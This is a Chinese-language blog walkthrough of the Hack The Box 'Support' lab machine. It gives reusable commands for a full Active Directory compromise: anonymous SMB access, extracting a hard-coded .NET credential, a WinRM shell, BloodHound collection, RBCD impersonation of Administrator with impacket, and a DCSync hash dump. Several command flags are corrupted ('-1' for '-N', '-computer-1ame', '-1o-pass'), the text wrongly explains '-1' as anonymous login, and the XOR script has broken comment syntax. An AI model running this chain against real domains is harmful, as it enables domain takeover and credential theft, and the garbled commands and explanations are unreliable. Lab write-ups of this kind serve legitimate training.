HTB Support Walkthrough:从SMB匿名访问到域管权限的完整攻击链

Listen to this Post

Featured Image

Introduction

在Active Directory渗透测试中,最危险的往往不是0-day漏洞,而是配置疏忽与信息残留的叠加效应。HTB “Support” 这台机器完美诠释了这一理念——攻击者无需任何漏洞利用,仅通过SMB匿名共享、.NET二进制文件硬编码凭证、LDAP属性信息泄露,最终借助RBCD(Resource-Based Constrained Delegation)技术实现从无权限到域管理员的完整提权。本文将逐步拆解这条攻击链的每一个环节,并提供可直接复用的命令与工具配置。

Learning Objectives & Secrets

  • Objective 1: 掌握AD环境下的信息收集方法论——从端口扫描识别域控制器特征,到通过LDAP匿名绑定提取域名信息,建立系统化的侦察思维。

  • Objective 2 (Secret): SMB匿名共享的深度利用——不仅仅是用smbclient -1列出共享,更要学会递归枚举、批量下载以及从非标准共享名(如support-tools)中识别高价值目标。

  • Objective 3 (Secret): .NET二进制逆向与凭证提取——使用ILSpy/dnSpy反编译UserInfo.exe,定位XOR加密逻辑并提取硬编码LDAP密码,这是从”无凭证”到”有凭证”的关键转折点。

You Should Know

1. 端口扫描与AD指纹识别

AD域控制器有其独特的端口组合特征。使用RustScan进行快速全端口扫描,再将结果导入Nmap进行深度服务探测:

 快速扫描所有TCP端口
rustscan -a 10.129.29.61 -- -A

或使用nmap手动扫描关键端口
nmap -p 53,88,135,139,389,445,464,636,3268,3269,5985,9389 -sV -sC 10.129.29.61

关键发现解读:端口445(SMB)、389/3268(LDAP)、464(kpasswd)、53(DNS)、5985(WinRM)同时开放,且TTL=127表明目标为Windows系统,这些特征组合几乎可以断定目标是一台域控制器。LDAP匿名绑定可直接提取`dnsHostName`属性,确认域名为`support.htb`,域控为`dc.support.htb`:

ldapsearch -x -H ldap://10.129.29.61 -s base dnsHostName

获取域名后,务必将其加入`/etc/hosts`——这是后续Kerberos认证能够正常工作的前提:

echo "10.129.29.61 dc.support.htb support.htb" >> /etc/hosts

2. SMB匿名共享枚举与文件提取

SMB空会话(null session)是AD环境中极为常见的配置弱点。使用`-1`参数表示无需密码进行匿名登录:

 列出所有可访问的共享
smbclient -L //10.129.29.165/ -1

发现非标准共享 "support-tools" 后,递归枚举其内容
smbclient //10.129.29.165/support-tools -1 -c 'recurse;ls'

下载可疑文件 UserInfo.exe.zip
smbclient //10.129.29.165/support-tools -1 -c 'get UserInfo.exe.zip'

Windows环境替代方案:若攻击机为Windows,可使用`net view`或PowerShell的`Get-SmbShare`进行枚举:

 PowerShell枚举SMB共享
Get-SmbShare -CimSession 10.129.29.165

使用mount挂载匿名共享
net use \10.129.29.165\support-tools /user:"" ""

3. .NET二进制逆向工程与凭证提取

`UserInfo.exe` 是一个.NET编译的可执行文件,其核心功能是查询LDAP以获取用户信息——但密码被硬编码在二进制文件中。

Step 1 – 反编译:使用ILSpy(GUI)或dnSpy打开`UserInfo.exe`,浏览至`Main`方法或`LdapQuery`相关类。

Step 2 – 定位凭证:在代码中搜索`password`、`credential`、`ldap`等关键词。你会发现密码并非明文存储,而是经过简单XOR加密。

Step 3 – 还原密码:分析XOR加密逻辑(通常为单字节异或),编写解密脚本或使用CyberChef还原明文。常见的XOR密钥可能为`0x10`、`0x7F`或特定ASCII字符。

 XOR解密示例脚本
encrypted = bytes.fromhex("...")  从二进制中提取的加密字节
key = 0x10
plaintext = ''.join(chr(b ^ key) for b in encrypted)
print(plaintext)

Step 4 – 提取LDAP账号:代码中还会暴露LDAP查询使用的账号,通常格式为`svc_ldap`或`support\username`。结合还原出的密码,即可获得一组有效的AD域凭证。

4. WinRM远程Shell获取

获得有效凭证后,5985端口的WinRM(Windows Remote Management)服务便成为最干净的入口——无需上传任何Payload,直接获得交互式Shell:

 使用evil-winrm连接(推荐)
evil-winrm -i 10.129.29.165 -u 'support\svc_ldap' -p '还原出的密码'

或使用crackmapexec验证凭证有效性
crackmapexec winrm 10.129.29.165 -u 'svc_ldap' -p '密码'

Windows原生方案:

 PowerShell Enter-PSSession
$cred = Get-Credential 'support\svc_ldap'
Enter-PSSession -ComputerName 10.129.29.165 -Credential $cred

5. LDAP深度枚举与隐藏信息提取

进入Shell后,利用已获得的LDAP凭证进行更深入的域信息收集:

 枚举所有域用户
ldapsearch -x -H ldap://dc.support.htb -D "support\svc_ldap" -w '密码' -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName

提取所有用户属性,重点关注 info、description、comment 等字段
ldapsearch -x -H ldap://dc.support.htb -D "support\svc_ldap" -w '密码' -b "DC=support,DC=htb" | grep -i "info|description|comment"

关键发现:某些AD管理员习惯在用户的`info`或`description`属性中记录备注信息——而”Support”机器中,恰好有一个账号的`info`属性残留了明文密码或其他敏感信息。这通常是权限提升的第二个关键跳板。

PowerView替代方案(Windows环境):

 加载PowerView
Import-Module .\PowerView.ps1

枚举域用户及其属性
Get-DomainUser -Properties samaccountname,info,description,comment

6. BloodHound与攻击路径分析

BloodHound是AD权限提升分析的核心工具。在目标机器或攻击机上运行SharpHound收集器:

 在目标机器上通过evil-winrm上传并运行SharpHound
upload SharpHound.exe
.\SharpHound.exe -c All --zipfilename loot.zip
download loot.zip

将生成的zip文件导入BloodHound CE(社区版),使用预置查询分析攻击路径:

  • “Find Shortest Paths to Domain Admins” —— 查看从当前用户到域管理员的路径
  • “List all users with DCSync rights” —— 检查DCSync权限
  • “Find principals with constrained delegation” —— 查找委派配置

在”Support”中,BloodHound会揭示当前用户对域控具有GenericAll或WriteProperty权限,这为RBCD攻击铺平了道路。

7. RBCD(Resource-Based Constrained Delegation)权限提升

RBCD是Windows Server 2012引入的委派机制,允许计算机账户自己决定哪些主体可以委派给自己。攻击者利用`MachineAccountQuota`(默认允许普通域用户创建最多10个计算机账户)的配置,创建一个伪造的计算机账户,然后配置该账户对域控具有委派权限,最终模拟域管理员获取Kerberos服务票据。

Step 1 – 创建机器账户(使用Powermad或impacket):

 使用impacket的addcomputer.py
python3 addcomputer.py -method LDAPS -computer-1ame 'ATTACK$' -computer-pass 'Password123' -dc-host dc.support.htb 'support.htb/svc_ldap:密码'

Step 2 – 配置RBCD(使用impacket的rbcd.py):

 将新创建的机器账户配置为对域控具有委派权限
python3 rbcd.py -delegate-from 'ATTACK$' -delegate-to 'dc$' -dc-ip 10.129.29.165 -action write 'support.htb/svc_ldap:密码'

Step 3 – 请求Kerberos服务票据(使用Rubeus或impacket的getST):

 使用impacket的getST请求模拟Administrator的TGS
python3 getST.py -spn 'cifs/dc.support.htb' -impersonate 'Administrator' -dc-ip 10.129.29.165 'support.htb/ATTACK$:Password123'

Step 4 – 导入票据并访问(Linux):

export KRB5CCNAME=Administrator.ccache
klist
 使用psexec或wmiexec以Administrator身份登录
python3 psexec.py -k -1o-pass support.htb/[email protected]

Step 5 – DCSync与Hash Dump:

获得域管理员权限后,最直接的目标是执行DCSync攻击,转储所有域用户的NT Hash:

 使用impacket的secretsdump
python3 secretsdump.py -just-dc 'support.htb/[email protected]' -k -1o-pass

What Undercode Say

  • Key Takeaway 1:配置错误比漏洞更致命。SMB匿名共享、硬编码密码、LDAP属性信息残留——这三个”小问题”单独看都不足以构成威胁,但串联起来却能导致域控沦陷。安全加固不能只盯着CVE,更要关注”配置卫生”。

  • Key Takeaway 2:RBCD攻击是AD域渗透的”王炸”技术。MachineAccountQuota的默认配置(允许创建10个机器账户)使得任何拥有域凭据的攻击者都有机会通过RBCD直达域管理员。防御方应严格限制MachineAccountQuota并监控异常机器账户的创建行为。

从技术角度看,”Support”的难度虽被标记为”Easy”,但其攻击链覆盖了从外部侦察到内部提权的完整流程,是学习AD渗透测试的绝佳范本。值得注意的是,整个攻击过程中没有使用任何内存漏洞或0-day——一切都是”设计如此”的功能被恶意组合利用。这也提醒我们:安全不是关于”修复漏洞”,而是关于”消除可被利用的组合”。

Prediction

  • +1:RBCD攻击检测技术将加速成熟。微软已在Windows Server 2025中增强了对异常机器账户创建和委派配置变更的审计日志,未来EDR/XDR产品将原生支持RBCD攻击链的实时告警。

  • +1:AD安全配置的自动化审计工具将迎来爆发式增长。类似”Support”这样的攻击路径将被纳入CIS Benchmark和STIG的自动化扫描规则中,降低人为配置疏忽的风险。

  • -1:在中小型企业环境中,AD配置混乱仍是常态。MachineAccountQuota未收紧、LDAP匿名绑定未禁用、SMB空会话未关闭等问题将在未来3-5年内持续存在,成为攻击者的首选入口。

  • -1:.NET二进制文件的硬编码凭证问题短期内难以根治。开发人员的便捷性偏好与安全团队的硬性要求之间的博弈将持续,而逆向工程工具(ILSpy/dnSpy)的不断进化将使这类问题更加容易被发现和利用。

  • +1:红队演练将更多采用”配置链攻击”而非”漏洞利用”模式。像”Support”这样的非漏洞型攻击路径将成为红队标准TTP(战术、技术与程序)的一部分,推动企业从”漏洞管理”向”攻击路径管理”转型。

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/eVe9nhhj – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky